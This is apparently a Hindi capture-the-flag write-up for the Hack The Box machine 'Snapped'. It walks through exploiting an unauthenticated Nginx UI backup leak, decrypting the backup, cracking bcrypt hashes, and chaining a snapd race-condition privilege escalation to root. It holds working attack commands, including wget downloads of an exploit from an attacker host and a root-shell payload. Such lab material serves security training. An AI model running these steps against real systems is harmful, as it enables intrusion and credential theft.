
# HTB Snapped — हार्ड लिनक्स मशीन राइटअप। CVE-2026-27944 (Nginx UI अनप्रमाणित बैकअप प्रकटीकरण) को CVE-2026-3888 (snapd रेस कंडीशन LPE) के साथ जोड़कर पूर्ण सिस्टम समझौता प्राप्त किया गया।
HTB Snapped — हार्ड लिनक्स मशीन राइटअप। CVE-2026-27944 (Nginx UI अनप्रमाणित बैकअप प्रकटीकरण) को CVE-2026-3888 (snapd रेस कंडीशन LPE) के साथ जोड़कर पूर्ण सिस्टम समझौता प्राप्त किया गया।
कठिनाई: हार्ड
OS: लिनक्स (Ubuntu 24.04)
रिलीज़ दिनांक: 23 मार्च 2026
CVEs: CVE-2026-27944, CVE-2026-3888
Snapped एक हार्ड लिनक्स मशीन है जो nginx के पीछे एक स्थिर साइट होस्ट करती है जिसमें Nginx UI एडमिन पैनल है। प्रारंभिक पहुंच CVE-2026-27944 का शोषण करके प्राप्त की जाती है — एक अनप्रमाणित बैकअप एंडपॉइंट जो AES एन्क्रिप्शन कुंजियों को लीक करता है। बैकअप को डिक्रिप्ट करने और SQLite डेटाबेस से bcrypt हैश को क्रैक करने के बाद, SSH पहुंच प्राप्त होती है। रूट तक विशेषाधिकार वृद्धि CVE-2026-3888 के माध्यम से प्राप्त की जाती है, जो snap-confine और systemd-tmpfiles के बीच snapd में एक रेस कंडीशन है।
nmap -sCV <TARGET_IP>
खुले पोर्ट: 22 (SSH), 80 (HTTP)
ffuf -u http://<TARGET_IP> -H 'Host: FUZZ.snapped.htb' \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
मिला: admin.snapped.htb
echo "<TARGET_IP> snapped.htb admin.snapped.htb" | sudo tee -a /etc/hosts
Nginx UI संस्करण 2.3.3 से पहले /api/backup को बिना प्रमाणीकरण के उजागर करता है।
प्रतिक्रिया हेडर X-Backup-Security बैकअप संग्रह को डिक्रिप्ट करने के लिए आवश्यक
AES-256-CBC कुंजी और IV लीक करता है।
चरण 1 — बैकअप डाउनलोड करें और कुंजी/IV निकालें:
curl -v http://admin.snapped.htb/api/backup -o backup.zip 2>&1 \
| grep -i "X-Backup-Security"
KEY="<base64_key>"
IV="<base64_iv>"
चरण 2 — हेक्स में बदलें और डिक्रिप्ट करें:
KEY_HEX=$(echo "$KEY" | base64 -d | xxd -p -c 256)
IV_HEX=$(echo "$IV" | base64 -d | xxd -p -c 256)
mkdir backup && cd backup
unzip ../backup.zip
openssl enc -d -aes-256-cbc \
-K $KEY_HEX -iv $IV_HEX -nopad \
-in nginx-ui.zip -out nginx-ui-decrypted.zip
unzip nginx-ui-decrypted.zip
चरण 3 — SQLite डेटाबेस से हैश निकालें:
strings database.db | grep '\$2a\$'
# उपयोगकर्ताओं के लिए bcrypt हैश मिले: jonathan, admin
चरण 4 — हैश क्रैक करें:
hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt --force
# jonathan:<password>
चरण 5 — SSH पहुंच:
ssh [email protected]
cat ~/user.txt
CVE-2026-3888 snapd में एक स्थानीय विशेषाधिकार वृद्धि है जो Ubuntu 24.04 को प्रभावित करती है। यह दो सिस्टम घटकों के बीच TOCTOU रेस कंडीशन का दुरुपयोग करता है:
/tmp/.snap साफ करता हैजब systemd-tmpfiles /tmp/.snap को हटाता है, एक हमलावर इसे दुर्भावनापूर्ण सामग्री के साथ पुनः बना सकता है।
जब snap-confine अगली बार सैंडबॉक्स प्रारंभ करता है, यह हमलावर-नियंत्रित निर्देशिका को रूट विशेषाधिकारों के साथ
बाइंड-माउंट करता है, जिससे डायनामिक लिंकर अपहरण संभव होता है।
चरण 1 — कमजोर संस्करण सत्यापित करें:
snap version
# snapd 2.63.1+24.04 — कमजोर (2.73 में ठीक किया गया)
चरण 2 — हमलावर मशीन पर शोषण संकलित करें:
git clone https://github.com/<repo>/CVE-2026-3888
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
चरण 3 — लक्ष्य पर स्थानांतरित करें:
# हमलावर मशीन
python3 -m http.server 8080
# लक्ष्य
wget http://<ATTACKER_IP>:8080/exploit -O ~/exploit
wget http://<ATTACKER_IP>:8080/librootshell.so -O ~/librootshell.so
chmod +x ~/exploit
चरण 4 — शोषण चलाएं:
# सत्र 1 — शोषण चलाएं
~/exploit ~/librootshell.so
# सत्र 2 — "Polling..." देखते ही सफाई ट्रिगर करें
rm -rf /tmp/.snap
चरण 5 — रूट शेल:
/var/snap/firefox/common/bash -p
whoami
# root
cat /root/root.txt